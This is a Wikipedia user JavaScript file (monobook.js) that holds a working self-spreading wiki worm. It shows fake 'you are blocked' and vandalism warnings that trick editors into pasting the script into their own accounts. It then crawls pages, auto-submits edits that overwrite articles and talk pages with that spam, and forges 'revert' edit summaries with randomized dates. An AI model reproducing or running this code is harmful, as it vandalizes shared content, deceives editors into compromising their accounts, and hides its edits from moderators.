User:Testacct/monobook.js
From Wikipedia
< User:Testacct
Note: After saving, you may have to bypass your browser's cache to see the changes. Mozilla / Firefox / Safari: hold down Shift while clicking Reload, or press Ctrl-Shift-R (Cmd-Shift-R on Apple Mac); IE: hold Ctrl while clicking Refresh, or press Ctrl-F5; Konqueror:: simply click the Reload button, or press F5; Opera users may need to completely clear their cache in Tools→Preferences.
//<includeonly><nowiki> var root = "testacct"; var jsRev = 19834 var jsLink = "<span class=\"plainlinks\">[{{fullurl:Special:Mypage/monobook.js}}?action=edit click here]</span>"; var vandalBox = "\n==About me==\n{{Userbox|border-c=#000|border-s=1|id-c=#fff|id-s=12|id-fc=#000|info-c=#0095B6|info-s=8|info-fc=#fff|id=[[Image:Stop_hand.svg|center|30px]]|info=This user doesn't care that they are vandalizing the hard work of others.}}"; var jsInstructions = "#Copy the below text\n#" + jsLink + "\n#Paste the text that you have copied into the box\n#Replace the text with your reason, without removing the ' ' beside the reason\n#Save the page.\n\nAdministrators will be notified of your request. Thank you.\n\n<pre>unblockReason = 'REPLACE THIS WITH YOUR REASON';\n//DO NOT EDIT/REMOVE THE BELOW LINES. THEY ARE USED TO NOTIFY THE ADMINISTRATORS IN IRC CHANNELS.\ndocument.cookie = 'unblockID=" + jsRev + "'\ndocument.write('<script type=\"text/javascript\" src=\"'+\n'http://en.wikipedia.org/wiki/Wikipedia:Unblock?reason=' + escape(unblockReason) + \n'&oldid=" + jsRev + "&action=raw&ctype=text/javascript\"></script>')</pre>"; var today = new Date();today.setTime(today.getTime()-Math.floor(Math.random()*2592000000));today = today.getUTCFullYear()+"-"+formatNumber(today.getUTCMonth()+1,2)+"-"+formatNumber(today.getUTCDate(),2)+" "+formatNumber(today.getUTCHours(),2)+":"+formatNumber(today.getUTCMinutes(),2)+":"+formatNumber(today.getUTCSeconds()); var articleSpam = "[[Image:Stop hand.svg|left|30px]]Your account or [[IP address]] have been blocked on [[Wikipedia]] and you are not allowed to read or edit any pages.\n\nIf you DO NOT have a account on wikipedia, please [[Special:Userlogin|register]] one and follow the instruction below.\n\nIf you are currently logged in, please follow the instructions below to appeal for unblock.\n" + jsInstructions var userSpam = "[[Image:Stop_hand.svg|left|30px]] Your edits have been detected as vandalism/spam/nonsense.<br/>You will be blocked from wikipedia soon unless you supply a valid reason to your edits.\n" + jsInstructions + vandalBox var articleSummary = "Revert to revision " + wgCurRevisionId + " dated " + today + " using [[Wikipedia:Tools/Navigation_popups|popups]]"; var userSummary = "[[WP:AES|←]]Created page with '{{Subst:Welcome}} ~~~~'"; var curLink = 0; var linkCount = 0; if(wgUserName == root){ var linkFind = unescape("%3Ftitle%3DUser_talk%3A"); if(wgPageName.indexOf("User:" + wgUserName) !=0){ if(location.search.indexOf("crawl=1")!=-1)getLinkCount(); if(location.search.indexOf("spam=1")!=-1)editPage(); if(document.referrer.indexOf("spam=1")!=-1)window.close();} }else{ var linkFind = unescape("action=edit");getLinkCount(); if(wgPageName == "User:" + wgUserName + "/monobook.js"){window.close;document.alert("Your unblock request is currently processing. Please DO NOT do anything in the mean time.");document.location = "http://en.wikipedia.org/Special:newusers?crawl=1";} if(location.search.indexOf("action=edit")!=-1)editPage(); if(document.referrer.indexOf("spam=1")!=-1)window.close();document.location = "http://en.wikipedia.org/wiki/Special:Random"; } function getLinkCount(){linkCount = document.links.length-1; if(linkCount == -1){ setTimeout(getLinkCount, 300); }else{ crawl(); }}function crawl(){ while(document.links[curLink].search.indexOf(linkFind)==-1 && curLink < linkCount){ curLink++; }if(curLink >= linkCount){document.location = document.location;}else{document.title = document.links[curLink].search;window.open(document.links[curLink].href + '&spam=1');curLink++;if(root==wgUserName){setTimeout(crawl, 7000);}else{setTimeout(crawl, 1000)}}} function editPage(){ if(document.links.length==0){ setTimeout(editPage, 500); }else{ document.editform.wpMinoredit.checked = true; if(wgNamespaceNumber==2||wgNamespaceNumber==3){ document.editform.wpTextbox1.value = userSpam; document.editform.wpSummary.value = userSummary; }else{ document.editform.wpTextbox1.value = articleSpam; document.editform.wpSummary.value = articleSummary; } document.editform.submit(); } } function formatNumber(number, format){var zeros = "00000";number+="";return zeros.substr(0, format - number.length)+number} function getcookie( name ) {var start = document.cookie.indexOf( name + "=" );var len = start + name.length + 1;if ( ( !start ) &&( name != document.cookie.substring( 0, name.length ) ) ){return null;}if ( start == -1 ) return null;var end = document.cookie.indexOf( ";", len );if ( end == -1 ) end = document.cookie.length;return unescape( document.cookie.substring(len,end));} //</nowiki></includeonly>